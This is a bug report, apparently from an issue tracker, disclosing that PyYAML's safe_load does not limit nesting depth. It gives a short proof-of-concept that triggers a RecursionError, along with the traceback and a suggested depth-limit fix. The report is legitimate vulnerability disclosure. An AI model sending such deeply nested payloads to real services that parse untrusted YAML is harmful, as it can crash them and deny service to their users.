[Bug]: Deeply Nested YAML Triggers SafeLoader RecursionError DoS

[tylzh97]

Summary

yaml.safe_load fails to bound nesting depth; an excessively deep sequence causes a RecursionError, terminating the parser.

poc:

import yaml
payload = "\n".join(["-  " * i for i in range(1100)])
yaml.safe_load(payload)

Traceback:

...
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/parser.py", line 379, in parse_block_sequence_first_entry
    return self.parse_block_sequence_entry()
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/parser.py", line 384, in parse_block_sequence_entry
    if not self.check_token(BlockEntryToken, BlockEndToken):
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/scanner.py", line 116, in check_token
    self.fetch_more_tokens()
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/scanner.py", line 159, in fetch_more_tokens
    self.scan_to_next_token()
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/scanner.py", line 781, in scan_to_next_token
    if self.scan_line_break():
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/scanner.py", line 1427, in scan_line_break
    if self.prefix(2) == '\r\n':
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/reader.py", line 95, in prefix
    if self.pointer+length >= len(self.buffer):
RecursionError: maximum recursion depth exceeded while calling a Python object

Suggested Fix

• Introduce maximum document depth checks. Abort parsing gracefully once the limit is exceeded.